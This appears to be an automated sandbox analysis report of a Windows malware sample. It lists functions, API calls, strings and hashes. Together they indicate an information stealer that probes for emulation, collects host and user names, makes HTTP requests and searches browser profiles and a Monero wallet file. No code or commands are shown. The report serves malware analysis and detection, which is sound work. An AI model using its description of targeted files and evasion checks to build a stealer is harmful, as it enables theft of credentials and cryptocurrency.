Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: 84c129129f96ca70b58e68ebe25f3115299c7ef09a1844545f6e8eded6c3b661
Instruction ID: e809631bca154c5b5e6eeb54bf729fd39a86b9704a6984342ba78b6250920583
Opcode Fuzzy Hash: 84c129129f96ca70b58e68ebe25f3115299c7ef09a1844545f6e8eded6c3b661
Instruction Fuzzy Hash: E0016DB0D4030CFAEB10EBE0DC4ABAEBB78BB44701F208089E705B62D0D7785541879D

Function 00506AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,012D89D0,?,0051110C,?,00000000,?,00511110,?,00000000,00510AEF), ref: 00506ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00506AE8
CloseHandle.KERNEL32(00000000), ref: 00506AF9
Sleep.KERNEL32(00001770), ref: 00506B04
CloseHandle.KERNEL32(?,00000000,?,012D89D0,?,0051110C,?,00000000,?,00511110,?,00000000,00510AEF), ref: 00506B1A
ExitProcess.KERNEL32 ref: 00506B22

Memory Dump Source

Source File: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: 4d58ffee3fe1c3e7f126d292f4c632a6731e63b6ce96c40ceed5b5eae3ffa718
Instruction ID: e2916f1069415f7480376c5c44dfd07d318b6152d184546436cb40feb76be120
Opcode Fuzzy Hash: 4d58ffee3fe1c3e7f126d292f4c632a6731e63b6ce96c40ceed5b5eae3ffa718
Instruction Fuzzy Hash: 59F03470A4020AEAF700ABA09C0BBBE7E34FB04702F108914B503A11D1DBB45540DAAA

Function 004F47B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 004F4839
InternetCrackUrlA.WININET(00000000,00000000), ref: 004F4849

Strings

<, xrefs: 004F47C9

Memory Dump Source

Source File: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: f93c1a0c2aaeafb29a29855b18071a849b6eff811b187f6edd233a9cc912e9b4
Instruction ID: aa0bf04278d5a7955b8e4ffd79a32601aa7d2d8b352fdfef0503187b7b3045f3
Opcode Fuzzy Hash: f93c1a0c2aaeafb29a29855b18071a849b6eff811b187f6edd233a9cc912e9b4
Instruction Fuzzy Hash: B2213EB1D00209ABDF14DFA5EC4AADE7B74FB44320F108625F955A72D1EB706A09CB91

Function 005051F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0050A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0050A7E6

Part of subcall function 004F6280: InternetOpenA.WININET(00510DFE,00000001,00000000,00000000,00000000), ref: 004F62E1
Part of subcall function 004F6280: StrCmpCA.SHLWAPI(?,012DE250), ref: 004F6303
Part of subcall function 004F6280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 004F6335
Part of subcall function 004F6280: HttpOpenRequestA.WININET(00000000,GET,?,012DDC38,00000000,00000000,00400100,00000000), ref: 004F6385
Part of subcall function 004F6280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 004F63BF
Part of subcall function 004F6280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 004F63D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00505228

Strings

ERROR, xrefs: 0050521A
ERROR, xrefs: 00505273

Memory Dump Source

Source File: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: 829063a38f6a3848b91cc6ed10dc7005532df1d4034b5c915f4f3dc6591f9806
Instruction ID: 28d0dd082fb96949026ace9d7d076ccf913e77d0db286a5252dd52a32ebb777d
Opcode Fuzzy Hash: 829063a38f6a3848b91cc6ed10dc7005532df1d4034b5c915f4f3dc6591f9806
Instruction Fuzzy Hash: 31112E30900249ABDB14FF70DD5AEED7B38BF90300F408558F90A4A1D2EF34AB09CA95

Function 005078E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00507910
RtlAllocateHeap.NTDLL(00000000), ref: 00507917
GetComputerNameA.KERNEL32(?,00000104), ref: 0050792F

Memory Dump Source

Source File: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: 69b3a9561e2222d9cdbcb58911bf5c86a4e5328e1026a635a4087bddd3df72fc
Instruction ID: 12c8a68c293b157a6b8ecf6c7754a84d766e196c6d41b3334d5f959497b773b7
Opcode Fuzzy Hash: 69b3a9561e2222d9cdbcb58911bf5c86a4e5328e1026a635a4087bddd3df72fc
Instruction Fuzzy Hash: A30186B1904208EBDB00DF98DD45BAEBFB8FB04B21F104619F945E32C0C37859048BA5

Function 004F1110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 004F112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 004F1132
ExitProcess.KERNEL32 ref: 004F1143

Memory Dump Source

Source File: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: d523352d7063a808f6b159639b9557dfea7013bb49330a79673e3c08426fec0e
Instruction ID: 8a8f86659e2988b36491f663ea650cb5fa4d3bde1c7620b88e79519c8c348cb3
Opcode Fuzzy Hash: d523352d7063a808f6b159639b9557dfea7013bb49330a79673e3c08426fec0e
Instruction Fuzzy Hash: 6AE0E67094534CFFF7106BA1DD0FB5976B8AB04B06F104055F709765D0D6B92640969E

Function 004F10A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 004F10B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 004F10F7

Memory Dump Source

Source File: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 99aaf11bcbaee74b7d35cafa34d7148dbb3c06573ff6c104f4c1aa503d3ad835
Instruction ID: 0845f81a4345e43988eb574b95654d618ab7d9c4dfeab86c12cde628f049be40
Opcode Fuzzy Hash: 99aaf11bcbaee74b7d35cafa34d7148dbb3c06573ff6c104f4c1aa503d3ad835
Instruction Fuzzy Hash: 10F0E271641208BBE7149AA8AC4AFBFB7E8E705B15F304848F644E3290D9759E00CAA8

Function 004F1190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 005078E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00507910
Part of subcall function 005078E0: RtlAllocateHeap.NTDLL(00000000), ref: 00507917
Part of subcall function 005078E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0050792F

Part of subcall function 00507850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004F11B7), ref: 00507880
Part of subcall function 00507850: RtlAllocateHeap.NTDLL(00000000), ref: 00507887
Part of subcall function 00507850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0050789F

ExitProcess.KERNEL32 ref: 004F11C6

Memory Dump Source

Source File: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: 05ea10f8852d8ba502a0e54dd223e57937f7f202664bd78661c07945f74cda38
Instruction ID: cfc47c290a32e07ec84c3556944305ff141c33c9539b792bb08ea3a91bfb957c
Opcode Fuzzy Hash: 05ea10f8852d8ba502a0e54dd223e57937f7f202664bd78661c07945f74cda38
Instruction Fuzzy Hash: 2CE0ECA5A1420AA2DA1077B0AD0FB3E3A9C6B58346F044425BA4592692FA29F810856E

Non-executed Functions

Function 005038B0 Relevance: 45.8, APIs: 21, Strings: 5, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 005038CC
FindFirstFileA.KERNEL32(?,?), ref: 005038E3
lstrcat.KERNEL32(?,?), ref: 00503935
StrCmpCA.SHLWAPI(?,00510F70), ref: 00503947
StrCmpCA.SHLWAPI(?,00510F74), ref: 0050395D
FindNextFileA.KERNEL32(000000FF,?), ref: 00503C67
FindClose.KERNEL32(000000FF), ref: 00503C7C

Strings

%s\%s, xrefs: 00503A6F
%s\%s, xrefs: 0050397A
%s\%s\%s, xrefs: 00503A4A
%s\*, xrefs: 005038C0
%s%s, xrefs: 00503AAD

Memory Dump Source

Source File: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: 11afeeecea4bfc99156dfa10e3111d417d182b4e339349a9ea4a0e3312724df1
Instruction ID: 9ce3dc138ad4449ecd33148eae2f0fd9c075ddab1278d92a2b53013f054119f8
Opcode Fuzzy Hash: 11afeeecea4bfc99156dfa10e3111d417d182b4e339349a9ea4a0e3312724df1
Instruction Fuzzy Hash: 3AA143B1A00209ABDB24DF64DC8AFFE777CBF44301F048588A54D96181EB759B84CF52

Function 004FBE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0050A740: lstrcpy.KERNEL32(00510E17,00000000), ref: 0050A788

Part of subcall function 0050A920: lstrcpy.KERNEL32(00000000,?), ref: 0050A972
Part of subcall function 0050A920: lstrcat.KERNEL32(00000000), ref: 0050A982

Part of subcall function 0050A9B0: lstrlen.KERNEL32(?,012D8AC0,?,\Monero\wallet.keys,00510E17), ref: 0050A9C5
Part of subcall function 0050A9B0: lstrcpy.KERNEL32(00000000), ref: 0050AA04
Part of subcall function 0050A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0050AA12

Part of subcall function 0050A8A0: lstrcpy.KERNEL32(?,00510E17), ref: 0050A905

FindFirstFileA.KERNEL32(00000000,?,00510B32,00510B2B,00000000,?,?,?,005113F4,00510B2A), ref: 004FBEF5
StrCmpCA.SHLWAPI(?,005113F8), ref: 004FBF4D
StrCmpCA.SHLWAPI(?,005113FC), ref: 004FBF63
FindNextFileA.KERNEL32(000000FF,?), ref: 004FC7BF
FindClose.KERNEL32(000000FF), ref: 004FC7D1

Strings

Preferences, xrefs: 004FC11E
Brave, xrefs: 004FC102
\Brave\Preferences, xrefs: 004FC1DB
Google Chrome, xrefs: 004FC634

Memory Dump Source

Source File: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: 55e8b20e3d21527764d504388fe8240b4d93da4880d18614fa24a436d616276a
Instruction ID: a7de55e3f96f895bdc079da2c87678376fb9cb1cc397c4e742ea438fd2240f56
Opcode Fuzzy Hash: 55e8b20e3d21527764d504388fe8240b4d93da4880d18614fa24a436d616276a
Instruction Fuzzy Hash: 37427472910209ABDB14FB70DD9AEEE777CBFD4300F408558B906961C1EE34AB49CB96

Function 00504910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0050492C
FindFirstFileA.KERNEL32(?,?), ref: 00504943
StrCmpCA.SHLWAPI(?,00510FDC), ref: 00504971
StrCmpCA.SHLWAPI(?,00510FE0), ref: 00504987
FindNextFileA.KERNEL32(000000FF,?), ref: 00504B7D
FindClose.KERNEL32(000000FF), ref: 00504B92

Strings

%s\%s, xrefs: 005049A4
%s\*, xrefs: 00504920
%s\%s, xrefs: 005049FB

Memory Dump Source

Source File: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: bb8d65720049f08d1ad90b1fdd0cb75eb51d9a0c640f60294e63b7fe39caaf1d
Instruction ID: 6b0de390a4307585a74a6bb9fbefb63d54dd8abe6ac10f9d1dd31a2b4ea3367a
Opcode Fuzzy Hash: bb8d65720049f08d1ad90b1fdd0cb75eb51d9a0c640f60294e63b7fe39caaf1d
